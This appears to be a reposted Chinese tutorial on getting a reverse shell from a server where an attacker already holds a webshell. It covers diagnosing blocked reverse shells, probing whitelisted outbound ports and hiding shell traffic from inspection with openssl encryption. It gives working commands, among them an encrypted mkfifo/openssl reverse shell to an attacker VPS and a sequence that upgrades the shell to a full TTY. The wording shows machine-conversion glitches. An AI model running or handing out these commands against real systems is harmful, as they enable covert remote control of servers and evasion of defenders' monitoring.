天天看點

反彈shell受限情況下的倔強

0x00前言

有時候擷取到目标webshell但是想要進一步反彈擷取全互動式shell,來對目标伺服器進行指令操作,然而經常遇到直接反彈shell不成;

此文将針對linux反彈shell受阻的原因、排查順序流程,以及可突破的限制,到最後擷取全互動式shell的整個流程來梳理。

假如使用bash反彈不成功:

0x01原因一:指令不存在

我們先來看哪些反彈指令是可用的,哪些指令存在:

whereis nc bash python php exec perl ruby java telnet lua      
反彈shell受限情況下的倔強

 可以發現bash指令是可用的,隻有ruby和lua相關指令不可用;

如果這裡bash不可用,那麼換種可用的指令反彈即可。然而bash可用不成功,那麼繼續分析。

0x02原因二:是否通外網

直接用ping指令探測即可,配合dnslog或者直接看回顯情況:

申請個随機域名:

反彈shell受限情況下的倔強

目标使用ping指令:

ping -c 1 v8nwzi.dnslog.cn      
反彈shell受限情況下的倔強
反彈shell受限情況下的倔強

 這樣表示通外網,允許出口流量;但是反彈還是受阻,繼續分析。

0x03原因三:目标出站端口受限

目标伺服器網絡邊緣部署了防火牆,設定了出站規則,給出站的端口設定了白名單。

這裡隻要端口屬于白名單内的即可,一般的話,DNS 的 53、HTTP 服務的預設端口 80、HTTPS 的 443 是三個最常見的出站端口,一般最有可能在白名單内,可一一嘗試。

當然如果白名單設定得很死,都不是常用端口的話,我們就得使用目标系統自帶的curl、telnet、wget等指令來進行出站端口探測。

例如 curl www.baidu.com:80

反彈shell受限情況下的倔強

 有正确回顯代表可通80,沒有或者等待逾時代表不通80端口。當然這得用自己的vps來捆綁開放大量端口來友善檢測。

例如vps開放1234端口,目标伺服器使用端口探測探測此端口失敗,那麼表示不出1234端口,如果探測成功,表示可出1234端口,即可用1234端口來進行反彈shell。

當然真實情況可能遇到目标權限低,且curl、telnet、wget等這幾個可探測端口的指令都沒有,那麼可以使用如下指令來探測:

echo > /dev/tcp/www.baidu.com/80      

如果瞬間執行完成代表可出80,如果執行後一直等待,那麼代表不出80.

這裡測試了一下,我的目标機用443 bash反彈成功,但是連接配接一會兒執行指令馬上就斷了,應該就是流量審查的原因了,繼續分析。

0x04原因四:目标存在流量審查機制

有些伺服器存在流量審查機制,就算反彈成功了,馬上就會掉線;一般審查到的都是明文流量資料,那麼隻要将反彈流量用openssl加密,即可防止流量檢測。

1、在vps上生成ssl證書的公鑰/私鑰對:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes      
反彈shell受限情況下的倔強

 到了選擇直接全部回車。

2、vps使用openssl監聽一個接收shell的端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 443      

3、目标上用openssl加密反彈shell的流量:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xx.xx.xx:443 > /tmp/s; rm /tmp/s      

vps的ip為:47.xx.xx.xx

反彈shell受限情況下的倔強

此時vps即可接收到加密的半互動式shell(啞shell)

反彈shell受限情況下的倔強

0x05轉換為全互動式shell

啞shell,ctrl-c 中斷 getshell 會話、無法檢視文法高亮、無法執行互動式指令、無法檢視錯誤輸出、無法使用 tab 指令補全、無法操控 job、無法檢視指令曆史。

轉為全互動式shell:

1、在啞shell中執行:

$ python -c 'import pty; pty.spawn("/bin/bash")'      

2、鍵入 Ctrl-Z,回到 VPS 的指令行中;在 VPS 中執行:

$ stty raw -echo
$ fg (不會顯示,敲了直接一直回車)      

此時已經為互動式shell了,但是有的shell顯示有問題,如果沒問題可不進行以下步驟。

3、回到啞 shell 中,在啞 shell 中鍵入 Ctrl-L,執行:

$ reset (敲指令不顯示就直接敲了回車)
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 54 columns 104      

這樣就得到了功能齊全的互動式shell 了。

參考連結:

https://www.freebuf.com/vuls/211847.html